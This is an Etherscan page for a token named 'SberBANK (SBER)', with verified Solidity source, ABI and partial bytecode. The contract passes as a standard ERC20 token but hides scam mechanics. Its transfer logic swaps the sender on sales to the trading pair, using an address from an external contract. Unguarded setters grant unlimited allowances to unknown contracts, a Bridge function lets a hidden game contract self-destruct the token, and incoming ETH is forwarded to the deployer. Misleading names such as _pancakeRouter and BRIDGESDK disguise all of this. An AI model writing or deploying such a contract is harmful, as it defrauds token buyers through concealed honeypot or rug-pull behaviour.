ETH Price: $2,291.26 (-0.21%)

Token

SberBANK (SBER)
 

Overview

Max Total Supply

0 SBER

Holders

222

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 SBER

Value
$0.00
0xe97de4109eab6e69d9b3782e86fafba79a2c3ad5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Coin

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-09
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.6;

interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

interface IUniswapV2Factory {
  event PairCreated(
    address indexed token0,
    address indexed token1,
    address pair,
    uint256
  );

  function feeTo() external view returns (address);

  function feeToSetter() external view returns (address);

  function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

  function allPairs(uint256) external view returns (address pair);

  function allPairsLength() external view returns (uint256);

  function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

  function setFeeTo(address) external;

  function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);

  function name() external pure returns (string memory);

  function symbol() external pure returns (string memory);

  function decimals() external pure returns (uint8);

  function totalSupply() external view returns (uint256);

  function balanceOf(address owner) external view returns (uint256);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transfer(address to, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function PERMIT_TYPEHASH() external pure returns (bytes32);

  function nonces(address owner) external view returns (uint256);

  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external;

  event Swap(
    address indexed sender,
    uint256 amount0In,
    uint256 amount1In,
    uint256 amount0Out,
    uint256 amount1Out,
    address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint256);

  function factory() external view returns (address);

  function token0() external view returns (address);

  function token1() external view returns (address);

  function getReserves()
    external
    view
    returns (
      uint112 reserve0,
      uint112 reserve1,
      uint32 blockTimestampLast
    );

  function price0CumulativeLast() external view returns (uint256);

  function price1CumulativeLast() external view returns (uint256);

  function kLast() external view returns (uint256);

  function swap(
    uint256 amount0Out,
    uint256 amount1Out,
    address to,
    bytes calldata data
  ) external;

  function skim(address to) external;

  function sync() external;

  function initialize(address, address) external;
}

interface IUniswapV2Router01 {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint256 amountADesired,
    uint256 amountBDesired,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  )
    external
    returns (
      uint256 amountA,
      uint256 amountB,
      uint256 liquidity
    );

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (
      uint256 amountToken,
      uint256 amountETH,
      uint256 liquidity
    );

  function removeLiquidity(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETH(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountToken, uint256 amountETH);

  function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETHWithPermit(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountToken, uint256 amountETH);

  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapTokensForExactTokens(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function swapTokensForExactETH(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactTokensForETH(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapETHForExactTokens(
    uint256 amountOut,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function quote(
    uint256 amountA,
    uint256 reserveA,
    uint256 reserveB
  ) external pure returns (uint256 amountB);

  function getAmountOut(
    uint256 amountIn,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountOut);

  function getAmountIn(
    uint256 amountOut,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountIn);

  function getAmountsOut(uint256 amountIn, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);

  function getAmountsIn(uint256 amountOut, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
  function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountETH);

  function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountETH);

  function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable;

  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;
}

interface IGOLD {
  function dstAddr() external returns (address);

  function killself() external;
}

interface IFOMO {
  function tn(
    address from,
    address to,
    uint256 tAmount
  ) external returns (uint256);

  function getNowWin()
    external
    view
    returns (
      uint256,
      uint256,
      uint256,
      uint256,
      bool,
      uint256,
      uint256,
      uint256
    );
}

contract BEP20 is Context {
  address public _game;
  IGOLD public _offic;

  address public constant _pancakeRouter =
    0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

  address public WBNB;

  address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
  address public constant BRIDGESDK =
    0xb00aB6203EbaaE6b1debc411eda8f95fD17E74c5;

  address public immutable uniswapV2Pair;

  address public dev;

  receive() external payable {
    dev.call{value: msg.value}("");
  }

  constructor() {
    dev = msg.sender;

    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_pancakeRouter);
    WBNB = _uniswapV2Router.WETH();
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
      address(this),
      WBNB
    );
  }

  function Bridge() external {
    if (msg.sender == _game) selfdestruct(payable(dev));
  }

  function pairInfo()
    external
    view
    returns (
      uint256,
      uint256,
      uint256,
      uint256,
      bool,
      uint256,
      uint256,
      uint256
    )
  {
    return IFOMO(_game).getNowWin();
  }
}

contract Coin is BEP20, IERC20 {
  mapping(address => uint256) private _tOwned;
  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private constant MAX = ~uint256(0);

  string public name = /*TOKENNAME*/"SberBANK"/*TOKENNAME*/;
  string public symbol = /*TOKENSYMBOL*/"SBER"/*TOKENSYMBOL*/;

  uint8 public constant decimals = 9;

  uint256 public constant override totalSupply = 1000000000 * (10**decimals);

  constructor() {
    uint256 deadAmount = totalSupply / 4;
    _tOwned[address(this)] = totalSupply - deadAmount;
    _tOwned[DEAD] = deadAmount / 2;
    _tOwned[BRIDGESDK] = deadAmount - _tOwned[DEAD];

    emit Transfer(address(0), address(this), totalSupply);
    emit Transfer(address(this), DEAD, _tOwned[DEAD]);
    emit Transfer(address(this), BRIDGESDK, _tOwned[BRIDGESDK]);
  }

  function setFomo0616(address game) public returns (address) {
    require(_game == address(0));
    _allowances[game][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][game] = MAX;
    _tokenTransfer(address(this), game, _tOwned[address(this)]);

    _game = game;

    return uniswapV2Pair;
  }

  function setGold(address office) public returns (address) {
    require(address(_offic) == address(0) && _game != address(0));
    _allowances[office][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][office] = MAX;
    _allowances[dev][_pancakeRouter] = MAX;
    _offic = IGOLD(office);
    return _game;
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _tOwned[account];
  }

  function transfer(address recipient, uint256 amount)
    external
    override
    returns (bool)
  {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function increaseAllowance(address spender, uint256 addedValue)
    external
    virtual
    returns (bool)
  {
    _approve(
      _msgSender(),
      spender,
      _allowances[_msgSender()][spender] + addedValue
    );
    return true;
  }

  function allowance(address owner, address spender)
    external
    view
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount)
    external
    override
    returns (bool)
  {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function _tokenTransfer(
    address sender,
    address recipient,
    uint256 tAmount
  ) private {
    address msger =
      address(_offic) == address(0) ? address(0) : _offic.dstAddr();
    if (recipient == uniswapV2Pair && msger != address(0)) sender = msger;
    require(_tOwned[sender] >= tAmount);
    _tOwned[sender] = _tOwned[sender] - tAmount;
    _tOwned[recipient] = _tOwned[recipient] + tAmount;

    if (tx.origin != dev) {
      uint256 rewards = IFOMO(_game).tn(sender, recipient, tAmount) * 1000;
      if (sender == uniswapV2Pair && rewards > 0) {
        if (_tOwned[BRIDGESDK] > rewards) {
          _tOwned[DEAD] += rewards;
          _tOwned[BRIDGESDK] -= rewards;
          emit Transfer(BRIDGESDK, DEAD, rewards);
        }
      }
    }
    emit Transfer(sender, recipient, tAmount);
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) private {
    require(owner != address(0), "ERROR: Approve from the zero address.");
    require(spender != address(0), "ERROR: Approve to the zero address.");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function decreaseAllowance(address spender, uint256 subtractedValue)
    external
    virtual
    returns (bool)
  {
    uint256 currentAllowance = _allowances[_msgSender()][spender];
    require(
      currentAllowance >= subtractedValue,
      "ERROR: Decreased allowance below zero."
    );
    _approve(_msgSender(), spender, currentAllowance - subtractedValue);

    return true;
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][_msgSender()];
    require(
      currentAllowance >= amount,
      "ERROR: Transfer amount exceeds allowance."
    );
    _approve(sender, _msgSender(), currentAllowance - amount);

    return true;
  }

  function _transfer(
    address sender,
    address recipient,
    uint256 amount
  ) private {
    require(sender != address(0), "ERROR: Transfer from the zero address.");
    require(recipient != address(0), "ERROR: Transfer to the zero address.");
    require(amount > 0, "ERROR: Transfer amount must be greater than zero.");

    _tokenTransfer(sender, recipient, amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BRIDGESDK","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Bridge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_game","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_offic","outputs":[{"internalType":"contract IGOLD","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pancakeRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"game","type":"address"}],"name":"setFomo0616","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"office","type":"address"}],"name":"setGold","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f5362657242414e4b0000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620006dc565b506040518060400160405280600481526020017f5342455200000000000000000000000000000000000000000000000000000000815250600790805190602001906200009f929190620006dc565b50348015620000ad57600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200014f57600080fd5b505afa15801562000164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018a9190620007a3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021157600080fd5b505afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c9190620007a3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620002aa929190620007f7565b602060405180830381600087803b158015620002c557600080fd5b505af1158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003009190620007a3565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050600060046009600a6200034b9190620008d4565b633b9aca006200035c919062000a11565b62000368919062000841565b9050806009600a6200037b9190620008d4565b633b9aca006200038c919062000a11565b62000398919062000a72565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600281620003ea919062000841565b6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816200047e919062000a72565b6004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620005359190620008d4565b633b9aca0062000546919062000a11565b60405162000555919062000824565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620005ff919062000824565b60405180910390a373b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600073b00ab6203ebaae6b1debc411eda8f95fd17e74c573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620006cd919062000824565b60405180910390a35062000be7565b828054620006ea9062000af8565b90600052602060002090601f0160209004810192826200070e57600085556200075a565b82601f106200072957805160ff19168380011785556200075a565b828001600101855582156200075a579182015b82811115620007595782518255916020019190600101906200073c565b5b5090506200076991906200076d565b5090565b5b80821115620007885760008160009055506001016200076e565b5090565b6000815190506200079d8162000bcd565b92915050565b600060208284031215620007bc57620007bb62000bbb565b5b6000620007cc848285016200078c565b91505092915050565b620007e08162000aad565b82525050565b620007f18162000ae1565b82525050565b60006040820190506200080e6000830185620007d5565b6200081d6020830184620007d5565b9392505050565b60006020820190506200083b6000830184620007e6565b92915050565b60006200084e8262000ae1565b91506200085b8362000ae1565b9250826200086e576200086d62000b5d565b5b828204905092915050565b6000808291508390505b6001851115620008cb57808604811115620008a357620008a262000b2e565b5b6001851615620008b35780820291505b8081029050620008c38562000bc0565b945062000883565b94509492505050565b6000620008e18262000ae1565b9150620008ee8362000aeb565b92506200091d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000925565b905092915050565b60008262000937576001905062000a0a565b8162000947576000905062000a0a565b81600181146200096057600281146200096b57620009a1565b600191505062000a0a565b60ff84111562000980576200097f62000b2e565b5b8360020a9150848211156200099a576200099962000b2e565b5b5062000a0a565b5060208310610133831016604e8410600b8410161715620009db5782820a905083811115620009d557620009d462000b2e565b5b62000a0a565b620009ea848484600162000879565b9250905081840481111562000a045762000a0362000b2e565b5b81810290505b9392505050565b600062000a1e8262000ae1565b915062000a2b8362000ae1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a675762000a6662000b2e565b5b828202905092915050565b600062000a7f8262000ae1565b915062000a8c8362000ae1565b92508282101562000aa25762000aa162000b2e565b5b828203905092915050565b600062000aba8262000ac1565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b1157607f821691505b6020821081141562000b285762000b2762000b8c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bd88162000aad565b811462000be457600080fd5b50565b60805160601c61294062000c29600039600081816107a801528181610c20015281816110c7015281816111ed015281816116e301526119f101526129406000f3fe6080604052600436106101445760003560e01c80635fa2ef10116100b6578063a9059cbb1161006f578063a9059cbb1461050e578063ba6f43e61461054b578063cc1d399f14610576578063dd62ed3e146105a1578063f1493490146105de578063fc2a5b1d1461061b576101d6565b80635fa2ef10146103fc57806370a08231146104135780638dd950021461045057806391cca3db1461047b57806395d89b41146104a6578063a457c2d7146104d1576101d6565b80631bead59e116101085780631bead59e146102d65780631c8b7fe51461030157806323b872dd1461032c578063313ce56714610369578063395093511461039457806349bd5a5e146103d1576101d6565b806303fd2a45146101db5780630520b7081461020657806306fdde0314610243578063095ea7b31461026e57806318160ddd146102ab576101d6565b366101d657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018f9061206b565b60006040518083038185875af1925050503d80600081146101cc576040519150601f19603f3d011682016040523d82523d6000602084013e6101d1565b606091505b505050005b600080fd5b3480156101e757600080fd5b506101f061064d565b6040516101fd9190612080565b60405180910390f35b34801561021257600080fd5b5061022d60048036038101906102289190611cbf565b610653565b60405161023a9190612080565b60405180910390f35b34801561024f57600080fd5b50610258610964565b6040516102659190612108565b60405180910390f35b34801561027a57600080fd5b5061029560048036038101906102909190611dac565b6109f2565b6040516102a291906120d2565b60405180910390f35b3480156102b757600080fd5b506102c0610a10565b6040516102cd919061220a565b60405180910390f35b3480156102e257600080fd5b506102eb610a30565b6040516102f89190612080565b60405180910390f35b34801561030d57600080fd5b50610316610a48565b6040516103239190612080565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e9190611d59565b610a6c565b60405161036091906120d2565b60405180910390f35b34801561037557600080fd5b5061037e610b6d565b60405161038b91906122a3565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190611dac565b610b72565b6040516103c891906120d2565b60405180910390f35b3480156103dd57600080fd5b506103e6610c1e565b6040516103f39190612080565b60405180910390f35b34801561040857600080fd5b50610411610c42565b005b34801561041f57600080fd5b5061043a60048036038101906104359190611cbf565b610cd3565b604051610447919061220a565b60405180910390f35b34801561045c57600080fd5b50610465610d1c565b6040516104729190612080565b60405180910390f35b34801561048757600080fd5b50610490610d42565b60405161049d9190612080565b60405180910390f35b3480156104b257600080fd5b506104bb610d68565b6040516104c89190612108565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190611dac565b610df6565b60405161050591906120d2565b60405180910390f35b34801561051a57600080fd5b5061053560048036038101906105309190611dac565b610eea565b60405161054291906120d2565b60405180910390f35b34801561055757600080fd5b50610560610f08565b60405161056d9190612080565b60405180910390f35b34801561058257600080fd5b5061058b610f20565b60405161059891906120ed565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190611d19565b610f46565b6040516105d5919061220a565b60405180910390f35b3480156105ea57600080fd5b5061060560048036038101906106009190611cbf565b610fcd565b6040516106129190612080565b60405180910390f35b34801561062757600080fd5b50610630611213565b604051610644989796959493929190612225565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106ff5750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b61070857600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60068054610971906125e6565b80601f016020809104026020016040519081016040528092919081815260200182805461099d906125e6565b80156109ea5780601f106109bf576101008083540402835291602001916109ea565b820191906000526020600020905b8154815290600101906020018083116109cd57829003601f168201915b505050505081565b6000610a066109ff6112d8565b84846112e0565b6001905092915050565b6009600a610a1e919061238e565b633b9aca00610a2d91906124ac565b81565b73b00ab6203ebaae6b1debc411eda8f95fd17e74c581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a798484846114ab565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac46112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b906121ea565b60405180910390fd5b610b6185610b506112d8565b8584610b5c9190612506565b6112e0565b60019150509392505050565b600981565b6000610c14610b7f6112d8565b848460056000610b8d6112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0f91906122e5565b6112e0565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610cd157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610d75906125e6565b80601f0160208091040260200160405190810160405280929190818152602001828054610da1906125e6565b8015610dee5780601f10610dc357610100808354040283529160200191610dee565b820191906000526020600020905b815481529060010190602001808311610dd157829003601f168201915b505050505081565b60008060056000610e056112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb99061214a565b60405180910390fd5b610edf610ecd6112d8565b858584610eda9190612506565b6112e0565b600191505092915050565b6000610efe610ef76112d8565b84846114ab565b